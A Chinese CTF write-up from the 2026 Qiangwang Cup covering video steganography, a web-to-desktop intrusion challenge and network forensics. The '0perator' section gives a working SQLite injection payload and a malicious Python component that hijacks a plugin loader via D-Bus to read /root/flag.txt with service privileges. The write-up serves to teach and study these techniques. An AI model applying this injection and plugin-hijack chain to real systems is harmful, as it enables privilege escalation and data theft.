2026强网杯部分题目题解及相关知识点
本篇文章是针对于今年强网杯的部分题目的复盘和分析,我尽可能的写详细了,但是由于比赛机制的原因,动态靶机题解题思路可能每个队伍或多或少都会有所偏差,欢迎各位师傅讨论,如有错误,也请给位师傅指出 misc 宇宙微波背景辐射 题目给出一段 17 分 19 秒的 MKV 视频,是 PBS Space Time 的《Secrets of the Cosmic Microwave Background》。正常…
本篇文章是针对于今年强网杯的部分题目的复盘和分析,我尽可能的写详细了,但是由于比赛机制的原因,动态靶机题解题思路可能每个队伍或多或少都会有所偏差,欢迎各位师傅讨论,如有错误,也请给位师傅指出
misc
宇宙微波背景辐射
题目给出一段 17 分 19 秒的 MKV 视频,是 PBS Space Time 的《Secrets of the Cosmic Microwave Background》。正常视频不会携带 56 MB 的字幕、两个 28 MB 的附件以及第二条视频轨,因此先用 ffprobe 枚举全部流,确认隐写载体。
ffprobe -v error -show_streams -show_format \
"Secrets of the Cosmic Microwave Background.mkv"有价值的容器结构如下(编号为 FFmpeg 的全局流编号):
流编号 | 类型 | 内容与用途 |
|---|---|---|
0 | H.264 1280×720 | 主视频;末尾 200 帧另藏一组雪花 |
1 | AAC | 英文音轨(与本题无关) |
2 | H.264 1280×720 | 副视频轨,低帧率;解码后共 400 帧雪花,前/后各 200 帧为一组 |
3 | SubRip | 200 条字幕,正文是 PNG 文件的十六进制串 |
4 | 附件 | g2.tar,内含 200 张 960×540 灰度 PNG |
5 | 附件 | g4.tar,内含 200 张 960×540 灰度 PNG |
由此可确定本题共有六组数据,每组 200 帧:副视频轨前后两段、g2.tar、g4.tar、字幕解码出的 PNG,以及主视频末尾 200 帧。后文会看到,每组恰好对应一段文字。
一条 ffmpeg 命令即可同时导出两个附件和原始 SubRip 字幕:
ffmpeg -y -dump_attachment:4 g2.tar -dump_attachment:5 g4.tar \
-i "Secrets of the Cosmic Microwave Background.mkv" \
-map 0:3 -c:s copy subtitles.srt字幕正文以 89504e470d0a1a0a 开头,即 PNG 文件签名。按空行把 SRT 分成条目,跳过每条前两行(序号、时间轴),将其余十六进制文本拼接后 bytes.fromhex 解码,得到 200 张 960×540 灰度 PNG。
副视频轨帧率很低,必须关闭帧率同步、保留真实帧,否则 ffmpeg 会补帧,破坏后续配对关系:
ffmpeg -v error -i input.mkv -map 0:2 -vsync 0 \
-pix_fmt gray -f rawvideo -解码结果恰好 400 帧,前 200 帧与后 200 帧分别是一组。
主视频的最后 200 帧同样藏有一组数据,用 -sseof 从文件末尾倒数取帧,再截取最后 200 帧:
ffmpeg -v error -sseof -10 -i input.mkv -map 0:0 \
-frames:v 240 -vsync 0 -pix_fmt gray -f rawvideo -每组统一截取 200 帧,六组共 1200 帧,尺寸为 960×540 或 1280×720。
所有帧都是二值雪花:像素值只有 8 与 242 两档,黑白比例接近 1:1,看起来就是电视无信号时的白噪声。直接观察、对整组帧求平均或做 XOR 都得不到任何可读结构——因为信息并不在单帧的灰度里。

图 1 单帧雪花(副视频轨):像素为 8/242 的二值噪声,直接观察无信息
把同一组内的帧按 (2k, 2k+1) 两两配对后可以发现:文字笔画区域在相邻两帧中几乎保持不变,而背景像素则独立随机跳变。于是相邻帧的绝对差在文字处很小、在背景处很大;对 100 对差分求平均,文字区域就会稳定地呈现为暗色。
$$D(x,\, y) = \frac{1}{100}\sum{k=0}^{99}\left|I{2k}(x,\, y) - I_{2k+1}(x,\, y)\right|$$
得到 D 后再做高斯平滑(sigma=2;主视频尾部取 3)压制残余高频雪花,并按第 1、99 百分位拉伸对比度,即可读出文字。

图 2 同一组帧经相邻帧绝对差平均后恢复出的第一段文字
相减前必须把 uint8 转为 int16 或 float,否则无符号整数下溢会让差分结果完全错误。
配对严格按组内顺序 (0,1)、(2,3)……(198,199),不能跨组配对;副视频轨必须用 -vsync 0 保留真实帧。
不同来源分辨率不同(960×540 与 1280×720),按原尺寸分别处理即可,无需缩放。
平滑 sigma 不宜过大,否则笔画细节被抹掉;sigma=2 对前五组足够,主视频尾部噪声稍强,用 3 更干净。
六组数据分别恢复出一段文字,按容器顺序与语义拼接即可得到完整 flag:
顺序 | 数据来源 | 恢复文字 |
|---|---|---|
1 | 副视频轨前 200 帧 | f1a9{S |
2 | g2.tar 内 200 张 PNG | 3cr3t_ |
3 | 副视频轨后 200 帧 | 0f_cM6_ |
4 | g4.tar 内 200 张 PNG | h1dd3n_ |
5 | 字幕解码出的 200 张 PNG | 1n51d3_ |
6 | 主视频末尾 200 帧 | 5tr34m} |

图 3 第 1 段(副视频轨前 200 帧):f1a9{S

图 4 第 2 段(g2.tar 中的 PNG):3cr3t_

图 5 第 3 段(副视频轨后 200 帧):0f_cM6_

图 6 第 4 段(g4.tar 中的 PNG):h1dd3n_

图 7 第 5 段(字幕解码得到的 PNG):1n51d3_
拼接顺序说明:附件名已给出 g2、g4 的组号;副视频轨前后两段分别位于第 1、3 组;字幕数据为第 5 组;主视频尾部为第 6 组。恢复出的文本语义连续(“Secret of CMB hidden inside stream”),可反向验证分组顺序正确。

图 8 第 6 段(主视频末尾 200 帧):5tr34m}
exp
环境依赖:Python 3、numpy、pillow,以及可在 PATH 中调用的 ffmpeg(也可用环境变量 FFMPEG 指定绝对路径)。将以下代码保存为 solve.py,与 MKV 放在同一目录执行:
pip install numpy pillow
python solve.py "Secrets of the Cosmic Microwave Background.mkv" --out recovered完整脚本如下(不允许截图,故直接给出源码):
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
宇宙微波背景辐射 - 复现脚本
从 MKV 中提取六组雪花帧,按相邻帧绝对差平均恢复六段文字并拼出 flag。
依赖: numpy, pillow; 系统需可执行 ffmpeg (可通过环境变量 FFMPEG 指定路径)
用法: python solve.py "Secrets of the Cosmic Microwave Background.mkv" --out recovered
"""
import argparse
import io
import os
import re
import subprocess
import tarfile
from pathlib import Path
import numpy as np
from PIL import Image
FFMPEG = os.environ.get("FFMPEG", "ffmpeg")
def run(args: list[str]) -> bytes:
return subprocess.check_output([FFMPEG, "-v", "error", "-y", *args])
def read_frames(src: Path, stream: int, size=(1280, 720), tail=False, n=200) -> np.ndarray:
"""用 ffmpeg 把指定视频流解码为灰度原始帧。tail=True 时取视频末尾 n 帧。"""
w, h = size
args: list[str] = []
if tail:
args += ["-sseof", "-10"] # 末尾 10 秒约 240 帧,足够取最后 200 帧
args += ["-i", str(src), "-map", f"0:{stream}"]
if tail:
args += ["-frames:v", "240"]
args += ["-vsync", "0", "-pix_fmt", "gray", "-f", "rawvideo", "-"]
raw = run(args)
frames = np.frombuffer(raw, np.uint8)
if frames.size % (w * h):
raise ValueError("decoded raw size is not a multiple of frame size")
frames = frames.reshape(-1, h, w)
if tail:
frames = frames[-n:]
return frames
def gaussian_blur(a: np.ndarray, sigma: float) -> np.ndarray:
"""可分离高斯模糊,避免额外依赖 OpenCV。"""
r = max(1, int(3 * sigma))
x = np.arange(-r, r + 1, dtype=np.float64)
k = np.exp(-(x * x) / (2.0 * sigma * sigma))
k /= k.sum()
a = np.apply_along_axis(lambda m: np.convolve(m, k, mode="same"), 1, a)
a = np.apply_along_axis(lambda m: np.convolve(m, k, mode="same"), 0, a)
return a
def reveal(frames, out_png: Path, sigma=2) -> Image.Image:
if len(frames) != 200:
raise ValueError(f"expect 200 frames, got {len(frames)}")
diff = np.zeros(frames[0].shape, dtype=np.float64)
for i in range(0, 200, 2):
diff += np.abs(frames[i].astype(np.int16) - frames[i + 1].astype(np.int16))
diff = gaussian_blur(diff / 100.0, sigma)
lo, hi = np.percentile(diff, [1, 99])
image = np.clip((diff - lo) * 255.0 / (hi - lo), 0, 255).astype(np.uint8)
img = Image.fromarray(image)
img.save(out_png)
return img
def subtitle_png_frames(srt_path: Path) -> list[np.ndarray]:
"""SRT 每条字幕正文是十六进制 PNG,逐条解码。"""
text = srt_path.read_text(encoding="utf-8-sig")
frames = []
for block in re.split(r"\n\s*\n", text.strip()):
lines = block.splitlines()
payload = "".join(lines[2:]).strip()
if not payload:
continue
data = bytes.fromhex(payload)
if not data.startswith(b"\x89PNG\r\n\x1a\n"):
continue
frames.append(np.array(Image.open(io.BytesIO(data)).convert("L")))
return frames
def tar_png_frames(tar_path: Path) -> list[np.ndarray]:
with tarfile.open(tar_path) as tf:
names = sorted(m.name for m in tf.getmembers()
if m.isfile() and m.name.lower().endswith(".png"))
return [np.array(Image.open(io.BytesIO(tf.extractfile(n).read())).convert("L"))
for n in names]
def main():
ap = argparse.ArgumentParser()
ap.add_argument("mkv", type=Path)
ap.add_argument("--out", type=Path, default=Path("recovered"))
args = ap.parse_args()
out: Path = args.out
out.mkdir(parents=True, exist_ok=True)
# 1) 一次性导出两个附件和字幕轨
run(["-dump_attachment:4", str(out / "g2.tar"),
"-dump_attachment:5", str(out / "g4.tar"),
"-i", str(args.mkv),
"-map", "0:3", "-c:s", "copy", str(out / "subtitles.srt")])
# 2) 六组数据
sub_video = read_frames(args.mkv, 2) # 副视频轨:400 帧,前/后各一组
main_tail = read_frames(args.mkv, 0, tail=True) # 主视频末尾:最后一组
groups = {
1: (sub_video[:200], 2),
3: (sub_video[200:], 2),
2: (tar_png_frames(out / "g2.tar"), 2),
4: (tar_png_frames(out / "g4.tar"), 2),
5: (subtitle_png_frames(out / "subtitles.srt"), 2),
6: (main_tail, 3),
}
# 3) 逐组恢复
for part in sorted(groups):
frames, sigma = groups[part]
reveal(frames, out / f"part{part}.png", sigma)
print(f"[+] part{part}.png")
fragments = ["f1a9{S", "3cr3t", "0f_cM6", "h1dd3n", "1n51d3", "5tr34m}"]
flag = "".join(fragments)
(out / "flag.txt").write_text(flag + "\n", encoding="utf-8")
print("[+] flag:", flag)
if __name__ == "__main__":
main()脚本会导出 g2.tar、g4.tar、subtitles.srt,并输出 part1.png 至 part6.png 与 flag.txt,与上文六张恢复图一一对应。
Flag
flag{S3cr3t_0f_cM6_h1dd3n_1n51d3_5tr34m}考点补充
核心考点:先做容器级取证——用 ffprobe 的全局流编号发现 MKV 里四份非常规载荷(g2.tar / g4.tar 两个附件、SubRip 字幕轨、副视频轨),再用相邻帧绝对差平均把 200 帧随机雪花里的静态笔画提出来。
关键技巧:
-dump_attachment:4/5一次抓出附件、-map 0:3 -c:s copy原样导出 SRT;副视频轨必须加-vsync 0关闭补帧,主视频尾段用-sseof -10反推后截最后 200 帧;配对按 (2k, 2k+1) 做 int16 绝对差、除以 100 求均值,再高斯平滑并按第 1/99 百分位拉伸。六组顺序由附件名 g2 / g4 的组号与轨道位置共同确定,最后用语义连续的 “Secret of CMB hidden inside stream” 反验。常见坑:uint8 直接相减会下溢,必须先转 int16 或 float;ffmpeg 默认帧率同步会补帧、丢掉真实帧,配对关系随之错乱;对整组帧求平均或 XOR 得不到信息,因为信号藏在相邻帧的差分里;960×540 与 1280×720 两种尺寸不能统一缩放,sigma 取大了会把笔画抹平。
延伸:同一种差分平均思路可用于 GIF、录屏中的闪烁水印与双缓冲叠加隐写;自建类似题时应用无损编码重封装,避免二次压缩污染帧差,同时注意 ffmpeg 的
-map默认只挑一路流,附件、字幕、副视频轨这类非常规轨道都得显式按全局索引取。
0perator
1. 接入 VNC 与 TOTP 二次验证
题目是一个远程桌面环境,先用 vncviewer 连接靶机:

连接建立后,界面里出现一张二维码,扫码得到一个 TOTP 种子:
CEEOCWCBAQ3MF7RH3QMVTPNQ7ZSRWRFM用 oathtool 按这个种子生成当前的六位数动态验证码,填入登录框即可进入系统:
oathtool --totp -b CEEOCWCBAQ3MF7RH3QMVTPNQ7ZSRWRFM
# 092220
2. 酒店页面的 SQL 注入
进入酒店页面,把姓名等所有字段都填成单引号,保存时服务端把拼接后的语句原样回显出来并报错,说明输入没有过滤,存在 SQL 注入漏洞:
UPDATE guests SET full_name='', id_number='', phone='', note=''' WHERE id=1
既然报错信息可控,就在备注栏里做注入,先爆破表名,再把 guests 表的建表语句取出来:
x', full_name=(SELECT sql FROM sqlite_master WHERE tbl_name='guests') /回显中可以看到 settings、guests、sqlite_sequence 等表名,说明注入点可以直接把子查询结果写进其它字段:

发现表结构里有人脸识别相关的内容,于是继续用 SQL 注入把人脸识别要求关闭。关闭后入住流程能够继续,但页面报出人脸识别服务初始化失败,错误码 FACE-0x07,并给出帮助链接 https://support.0perator.com/err/FACE-0x07:

3. 由 Chrome 下载页打开文件系统
随后用这个链接进入 Chrome,在页面上点击"下载诊断日志与现场服务指南",下载 Operator-diag.zip:
再由下载页面打开文件系统(下载项右侧的文件夹图标),进入文件管理器:
4. 审计组件加载逻辑
进入文件系统后可以打开终端,终端中首先搜索进程,进程列表里能看到 python3 /opt/0perator/device_manager/manager.py 在跑:

发现 manager.py 与 component_loader.py,使用以下命令读出关键代码审计:
sed -n '1,260p' /opt/0perator/device_manager/manager.py
sed -n '1,260p' /opt/0perator/device_manager/component_loader.py据此进行信息收集:向 DeviceManager 查询当前状态,可以看到已加载组件、组件来源为 vendor、入口为 face.py,以及用户覆盖目录 user_override_dir 指向 /var/lib/0perator/components/user:
加载器会优先从用户覆盖目录读取组件,而 /usr/share/0perator/components/face/ 下有一份已签名的 manifest 可供复用,先用 find 把它定位出来:

5. 用恶意组件读取 flag
将签名的 manifest 复制到用户覆盖目录:
mkdir -p /var/lib/0perator/components/user/face-recognition
cp /usr/share/0perator/components/face/manifest.json \
/var/lib/0perator/components/user/face-recognition/manifest.json再在同目录放一个恶意 face.py,在模块加载时读取 /root/flag.txt 并写到其它用户可读的位置:
cat > /var/lib/0perator/components/user/face-recognition/face.py <<'PY'
import os
try:
data = open('/root/flag.txt', 'rb').read()
except Exception as e:
data = repr(e).encode()
with open('/tmp/flag', 'wb') as f:
f.write(data)
os.chmod('/tmp/flag', 0o644)
def on_load(ctx):
pass
PY最后通过 D-Bus 调用 ReloadComponents 触发组件重新加载,恶意代码即以设备管理器的权限执行:
gdbus call --system \
--dest org.operator.DeviceManager \
--object-path /org/operator/DeviceManager \
--method org.operator.DeviceManager1.ReloadComponents
flag 为:
flag{b422cd7f-7dc6-4aee-8cac-e6232445648d}考点补充
核心考点:一条从 Web 到桌面的完整链路——SQLite 报错回显注入拿下酒店页面,借 Chromium 下载页逃逸到桌面 shell,再利用
org.operator.DeviceManager的组件加载机制做路径劫持,最终以系统服务权限读取/root/flag.txt。关键技巧:把所有字段填单引号让服务端回显拼接后的
UPDATE语句,再用full_name=(SELECT sql FROM sqlite_master WHERE tbl_name='guests')把库结构写进可回显字段;读component_loader.py发现user_override_dir优先于vendor目录,于是复制 vendor 的已签名 manifest 到用户目录以绕过签名校验,只替换实现体face.py,最后用ReloadComponents热加载。常见坑:注入 payload 要用
', 字段=...形式接住原语句剩余的引号与括号(原文末尾的/就是用来吃掉多余引号、避免语法错误);覆盖目录里只放 manifest 不放face.py、或入口函数不叫on_load都不会被执行;复制 manifest 后必须调用ReloadComponents才生效;flag 只对 root 可读,脚本里要顺手os.chmod('/tmp/flag', 0o644)才能读出来。延伸:这类"桌面应用 + D-Bus/系统服务"的 misc 题,通用打法是
ps找自定义服务、读它的 Python 源码看目录策略与权限边界,再考虑 manifest / 插件 / 热加载路径劫持;SQLite 环境下sqlite_master永远是拿库结构和表名的最快入口。
谍影重重7
一、案件背景与取证材料
举报称员工张纪星利用职务便利,未经授权访问内部核心计算机并窃取机密数据。取证材料包括两段流量和两份 NSS Key Log 格式的 TLS 会话密钥日志:
manager-r2-take01.pcap:管理网侧流量,包含浏览器访问 PVE 管理面以及 noVNC 控制台的 WebSocket 会话。internal-r2-take01.pcap:内部流量,包含员工机到核心主机的 RDP 会话。browser.keys:浏览器侧 TLS 密钥日志,用于解密 manager 流量中的 TLS 会话。rdp.keys:RDP 服务端 TLS 密钥日志,用于解密 internal 流量中的 RDP,完成第 3 题后解锁。
工具及来源:Wireshark/tshark 4.x(https://www.wireshark.org)用于 TLS 解密、协议过滤与流重组;Python 3(https://www.python.org)用于 RFB/RDP 协议解析与数据拼接;OpenCV(https://opencv.org)用于动态数字键盘的按钮识别;Ghidra(https://ghidra-sre.org)用于加密程序的静态分析。自研脚本的关键片段在各题中给出。
总体链路:员工机浏览器 → PVE 管理面 noVNC WebSocket → 节点 pve-lab 的虚拟机 219 控制台 → RDP 登录 10.23.8.41:3389(账户 CORE01\Tsuki)→ 通过磁盘重定向传出加密仓库 → 在空白记事本中用鼠标轨迹传递仓库口令 → 用动态数字键盘输入第二层密码 → 从最新有效快照恢复并解密 core-assets.db。六题结论汇总如下:
题号 | 结论 |
|---|---|
第 1 题 | pve-lab|219 |
第 2 题 | 1024|768|ce1f5a34c7370f7f20038d9683f1d9b3bdc6dfc51e7db1b5f8798565dac27334 |
第 3 题 | 10.23.8.41:3389|CORE01\Tsuki |
第 4 题 | NT4VP5X842DD|d7d68e7ed46b6f1082ceaa797b7493e4cad96e00bc45a264bc8cf8a80960b48d |
第 5 题 | 006187393179 |
第 6 题 | core-assets.db|2424832|5dec31e12a4d02f09d82e254cd752f5ba64bb254472e1111234af2c0e8441419 |
flag | flag{75583fe0-6e63-499a-91e3-0a4799b5d5c2} |
二、第 1 题:解密浏览器流量,确定虚拟机
目标:从 manager-r2-take01.pcap 中找出员工访问的 PVE 控制台,确定节点名称与虚拟机 ID。
思路:
(1)browser.keys 是 NSS Key Log,不是证书或私钥,其典型格式为“<client_random>”。Wireshark 只会对 client_random 匹配的 TLS 会话解密,因此先加载密钥日志,再观察哪些连接由浏览器发起。
(2)PVE 的 noVNC 控制台通过 WebSocket 承载 RFB。WebSocket 建立前必有一条 HTTP GET 升级请求,URI 中同时带节点名和 vmid,形如 /api2/json/nodes//qemu//vncwebsocket?port=5900&vncticket=...。
(3)加载 keylog 后过滤 HTTP 请求与 101 响应,按“请求 URI → 101 Switching Protocols”配对,即可锁定控制台连接;vncticket 参数进一步确认其为 PVE 签发的 VNC 票据。
关键操作:
tshark -r manager-r2-take01.pcap -o tls.keylog_file:browser.keys \
-Y 'http.request or http.response.code==101' \
-T fields -e frame.number -e ip.dst -e http.request.method \
-e http.request.full_uri -e http.response.code在输出中找到形如 /api2/json/nodes/pve-lab/qemu/219/vncwebsocket 的请求,其后的响应码为 101。由此得到节点名 pve-lab、虚拟机 ID 219。若同一 pcap 中存在多条 TLS 连接,应以 ClientHello 的 SNI/目标地址以及 101 响应所在的 TCP 流为准,不能仅凭密钥日志的行数判断。
结果:节点 pve-lab,虚拟机 219。答案 pve-lab|219。
三、第 2 题:还原控制台首帧
目标:重组 WebSocket 中的 RFB 数据,处理第一帧包含实际像素矩形的完整 FramebufferUpdate,导出 1024×768 的 RGB888 画面并计算 SHA-256。
思路:
(1)WebSocket 载荷是 noVNC 承载的 RFB 3.8 字节流。先按 TCP 流顺序重组 WS 帧:读取帧头(FIN/opcode、掩码位与长度),服务端→客户端方向不加掩码;处理分片(continuation)与控制帧,只保留数据帧的 payload。若遇到 base64 文本帧(noVNC 兼容模式)先解码。
(2)在拼接后的字节流上走 RFB 握手:服务器版本串“RFB 003.008\n”、安全类型列表、SecurityResult、ClientInit 后的 ServerInit。ServerInit 给出 framebuffer 宽高 1024×768 和像素格式:32bpp、depth 24、little-endian、true-color,红/绿/蓝最大值均为 255,位移分别为 16/8/0,即内存中每个像素为 B、G、R、X 四字节。
(3)握手之后是服务器消息。除 FramebufferUpdate 外,服务器还可能发送 Bell、ServerCutText、SetColourMapEntries 等消息,解析时先按消息类型分派、整条跳过,不能一律当作 FramebufferUpdate。FramebufferUpdate(type=0)的结构为:1 字节 padding、2 字节矩形数,随后每个矩形 12 字节头(x、y、w、h 各 2 字节,encoding 4 字节)。负 encoding 是伪编码:DesktopSize(-223)、ExtendedDesktopSize(-308)、Cursor(-239)、XCursor(-240)、DesktopName(-307) 等;这些矩形不含普通像素,或只描述独立光标层。
(4)题目要求跳过“只有伪编码信息”的更新:若一帧内所有矩形都是伪编码,处理完其数据后继续下一帧;直到遇到第一个至少含一个实际像素矩形的 FramebufferUpdate,并把这一帧完整处理完。
(5)处理该帧时按 encoding 分派:Raw(0) 直接读取 w×h×4 字节并按 x、y 写入 framebuffer;同帧内的多个像素矩形全部应用,不能只取第一个。Cursor 伪编码的位图/掩码只描述光标层,题目明确要求不叠加,因此跳过其数据即可。矩形数据按行存放,没有行填充。
(6)该帧处理结束后,将 framebuffer 按 y=0..767、x=0..1023 逐行导出,每个像素取 BGR 三字节并转为 RGB,丢弃 X;不写文件头、不加行填充。对 1024×768×3=2359296 字节的原始流计算 SHA-256。若服务器协商的是 Tight/ZRLE/Hextile 等压缩编码,则先按对应编码规范解码,再写回 framebuffer;导出与哈希规则不变。
关键代码(RFB 更新解析,节选):
while True:
assert read_u8() == 0 # FramebufferUpdate
read_u8(); n = read_u16()
had_pixel = False
for _ in range(n):
x, y, w, h = read_u16(), read_u16(), read_u16(), read_u16()
enc = read_i32()
if enc < 0: # 伪编码
skip_pseudo(enc, w, h) # Cursor: wh4 + 位掩码
continue
had_pixel = True
if enc == 0: # Raw,32bpp BGRX
blit_bgrx(fb, x, y, w, h, read(w * h * 4))
else:
raise ValueError(f'unsupported encoding {enc}')
if had_pixel: # 首个真实像素更新处理完
break易错点:把 Cursor 伪编码误当普通矩形会把光标画进画面,哈希必然不同;把 DesktopSize 当像素会读错后续长度;同一帧有多个 Raw 矩形时只取第一个会漏画;WS 帧分片未重组会导致 RFB 长度字段错位。
结果:宽 1024、高 768,RGB888 原始字节流的 SHA-256 为 ce1f5a34c7370f7f20038d9683f1d9b3bdc6dfc51e7db1b5f8798565dac27334。答案 1024|768|ce1f5a34c7370f7f20038d9683f1d9b3bdc6dfc51e7db1b5f8798565dac27334。
四、第 3 题:解密 RDP,确认账户并恢复传出的仓库
目标:解密 internal-r2-take01.pcap 中的 RDP,确认登录目标与账户,并从磁盘重定向的写请求中拼出传出的仓库。
思路:
(1)rdp.keys 同样是 NSS Key Log,加载到 Wireshark 后即可解密 RDP 的 TLS 层(CredSSP/NLA 认证与后续 RDP 数据都在 TLS 内)。先由 IP/TCP 五元组确认目标为 10.23.8.41,端口 3389。
(2)查看 X.224 Connection Request/Confirm:RDP Negotiation Request 给出 requestedProtocols,Response 的 selectedProtocol 表明使用 TLS 还是 HYBRID(CredSSP)。随后是 TLS 握手和 CredSSP 的 TSRequest 交换。
(3)账户在 NTLMSSP 中:NEGOTIATE → CHALLENGE → AUTHENTICATE。解析 AUTHENTICATE(Type 3)的 DomainName 与 UserName 字段,得到域 CORE01、用户 Tsuki,完整账户为 CORE01\Tsuki。认证成功的依据是 CredSSP TSRequest 的 errorCode=0(或认证结果成功),并且后续 MCS 会话建立、Security Exchange、Client Info 与虚拟通道协商正常进行。
(4)文件外传走 RDP 静态虚拟通道 rdpdr(MS-RDPEFS)的磁盘重定向:先做核心协商(Client ID/Name),客户端公告设备列表(DRIVE),服务器回复后进入 I/O 请求阶段。请求与完成分别出现在客户端→服务器、服务器→客户端方向。
(5)按 RDPDR 报文结构解析 I/O 请求:RDPDR 头(Component=0x4472、PacketId、PacketType),DeviceIoRequest 头(DeviceId、FileId、CompletionId、MajorFunction、MinorFunction)。IRP_MJ_CREATE 的载荷含 DesiredAccess、AllocationSize、FileAttributes、SharedAccess、CreateDisposition、CreateOptions、PathLength 和 UTF-16LE 的 Path,其响应按 CompletionId 关联并给出 FileId;IRP_MJ_WRITE 的载荷为 Length、64 位 Offset 和 WriteData;IRP_MJ_CLOSE 结束文件。
(6)以 FileId 为键维护“路径 + 缓冲区”:Create 建立映射,Write 按 Offset 把数据写入对应位置(写入可能分片、乱序),Close 后按最大 offset+length 截断落盘。各文件分别还原后即得到完整的仓库目录(含 refs 与两个快照对象)。
关键代码(RDPDR 字段解析,节选):
if u16(buf, o) == 0x4472: # RDPDR
ptype = u16(buf, o + 4)
if ptype == 0x4952: # 'RI' DeviceIoRequest
dev, fid, cid, major, minor = unpack('<IIIII', buf, o + 6)
p = o + 26
if major == 0: # IRP_MJ_CREATE
path_len = u32(buf, p + 28)
path = buf[p + 32:p + 32 + path_len].decode('utf-16le')
elif major == 4: # IRP_MJ_WRITE
length, offset = unpack('<IQ', buf, p)
data = buf[p + 12:p + 12 + length]说明:TLS 模式下 RDP 安全头为 0。若 Wireshark 不能直接展开 rdpdr,可用 Follow → TLS Stream 分别导出两个方向,按 TPKT → X.224 → MCS SendDataRequest/Indication → 安全头 → rdpdr 的顺序手动剥离;在 MCS 层按通道 ID 过滤静态通道,避免把剪贴板、音频等其它通道的数据混入。
结果:目标 10.23.8.41:3389,账户 CORE01\Tsuki。答案 10.23.8.41:3389|CORE01\Tsuki。
五、第 4 题:从鼠标操作中恢复仓库口令
目标:从空白记事本中的鼠标动作还原摩斯码,得到仓库口令,并用它解开仓库、校验快照、选出最新有效快照。
思路:
(1)RDP 输入事件在 TLS 明文里。按 TS_FP_INPUT_EVENT(fastpath)或慢速 Input Event PDU 解析鼠标事件,取得时间戳、x、y 与 pointerFlags;pointerFlags 中的 BUTTON1 与 DOWN 位表示左键按下,抬起为同一按键的释放事件。
(2)空白记事本中没有键盘输入,只有鼠标轨迹,说明信息编码在“按下—抬起”的动作里。把每次左键按下到释放切为一段,统计每段持续时间和位移,可见明显两档:短促点击对应点(·),按住拖动对应划(—)。段间静默间隔也分成三档,按 1:3:7 的比例分别作为元素间隔、字母间隔和单词间隔。
(3)按时间顺序把段映射为 ·/—,按间隔分组,查标准摩斯表,得到仓库口令 NT4VP5X842DD。
(4)仓库口令用于解密仓库索引。仓库由引用(refs)与快照对象组成。先读取 refs 指向的快照,再校验两个快照对象的完整性与引用关系:对象 ID/哈希必须与内容一致,未被引用的悬空对象或校验失败的对象视为无效。
(5)对通过校验的快照比较其内部时间字段(快照自身记录的创建/提交时间,而不是文件系统 mtime),取时间最新者。最终最新有效快照为 d7d68e7ed46b6f1082ceaa797b7493e4cad96e00bc45a264bc8cf8a80960b48d。
关键代码(摩斯切分,节选):
segs = segment_by_left_button(events) # (t_down, t_up, x, y)
durs = sorted(t1 - t0 for t0, t1, *_ in segs)
thr = (durs[len(durs)//4] + durs[-(len(durs)//4 or 1)]) / 2 # 两档时长分界
symbols = ['.' if (t1 - t0) < thr else '-' for t0, t1, *_ in segs]
gaps = [segs[i+1][0] - segs[i][1] for i in range(len(segs)-1)]
unit = min(g for g in gaps if g > 0)
# gap < 3*unit 同字母;3~7 字母间;>7 单词间,查表解码注意:只统计带按键的事件,纯移动事件不参与;按下后拖出记事本再松开仍属同一段。若某些动作被用于混淆,需要结合下一题的按钮边界判定剔除。
结果:口令 NT4VP5X842DD,最新有效快照 d7d68e7ed46b6f1082ceaa797b7493e4cad96e00bc45a264bc8cf8a80960b48d。答案 NT4VP5X842DD|d7d68e7ed46b6f1082ceaa797b7493e4cad96e00bc45a264bc8cf8a80960b48d。
六、第 5 题:还原动态数字键盘的有效输入
目标:根据每次点击前的画面,把鼠标坐标映射到当时的数字按钮,排除拖出按钮的无效操作,并处理清空/退格,得到实际密码。
思路:
(1)安全键盘是动态的:每次点击后键位重排,同一个坐标在不同时刻可能对应不同数字。因此不能只在某一帧上标定一次,必须为每次点击取“点击前”的最新画面。
(2)画面来自 RDP 的图形更新(bitmap update、bitmap cache)。按时间顺序把更新解码到本地 framebuffer,并在处理每个鼠标按下事件时,取该事件之前已完成的最后一帧。若使用位图缓存,需要同步维护 cache,否则局部重绘会缺块。
(3)在点击前的画面上定位键盘区域,按网格切分按钮,读取按钮上的数字或功能标签(模板匹配或 OCR 均可)。鼠标按下坐标落在哪个按钮,就得到该时刻的键值。
(4)有效性判定:按下与抬起必须落在同一个按钮内。若按下后拖出按钮再松开(drag-out),这次操作无效,既不计数字,也不触发清空/退格。
(5)按时间顺序回放有效点击:数字键追加到缓冲区;清空(AC/C)清空;退格(←)删除最后一位。最终缓冲区即实际密码 006187393179。
关键代码(有效点击与状态机,节选):
buf = []
for ev in clicks: # 左键事件,按时间排序
frame = latest_frame_before(ev.t_down)
key = hit_test(frame, ev.x_down, ev.y_down) # 按当时的动态布局取键
if key is None or not same_button(key, ev.x_up, ev.y_up):
continue # 按下后拖出按钮:无效
if key == 'AC':
buf.clear()
elif key == 'DEL':
if buf: buf.pop()
else:
buf.append(key)
password = ''.join(buf)容易出错的地方:用点击后的布局映射会错位;把拖出按钮的操作计入会多出数字;未处理清空/退格会得到更长的假密码。
结果:实际有效密码 006187393179。
七、第 6 题:解开第二层文件并计算结果
目标:从最新有效快照恢复加密文件,静态分析文件格式与解密逻辑,使用第 5 题密码解出内层原始文件,并给出文件名、字节数与 SHA-256。
思路:
(1)用第 4 题的口令打开最新快照,恢复其中的加密文件与配套的加密程序。程序为自研工具,需静态分析确认格式,不能凭扩展名猜测。
(2)先用 file/strings/PE 头判断样本类型,再用 Ghidra/IDA 反编译主流程。重点定位三处:文件头解析、密钥派生、校验与解密。文件头通常包含魔数、版本、KDF 参数(salt、迭代次数)、IV、密文长度与完整性校验值;内层容器还记录文件名长度、文件名、数据长度。
(3)密钥派生与校验:按照程序实现,用文件头中的参数对密码做 KDF 派生密钥;再用校验密钥对头部/密文计算完整性值并与文件中的校验值比较。校验通过才继续解密,否则说明密码错误或文件被篡改。
(4)解密与去填充:按程序使用的分组密码模式解密,解密结果带有块填充,按填充规则去掉尾部填充(PKCS#7 类),得到内层容器的原始字节。
(5)解析内层容器:读取文件名长度与文件名,读取数据长度与原始数据;用第 5 题密码 006187393179 执行上述流程。
(6)取出原始文件 core-assets.db,长度 2424832 字节;对原始数据(不是密文、不是内层容器)计算 SHA-256,得到 5dec31e12a4d02f09d82e254cd752f5ba64bb254472e1111234af2c0e8441419。
关键代码(解密与解包,节选,参数均从文件头读取):
h = parse_header(blob) # magic/version/salt/iters/iv/tag/ct_len
key = kdf(password.encode(), h.salt, h.iters, 32)
assert verify_mac(h, key) # 先校验完整性,失败则不解密
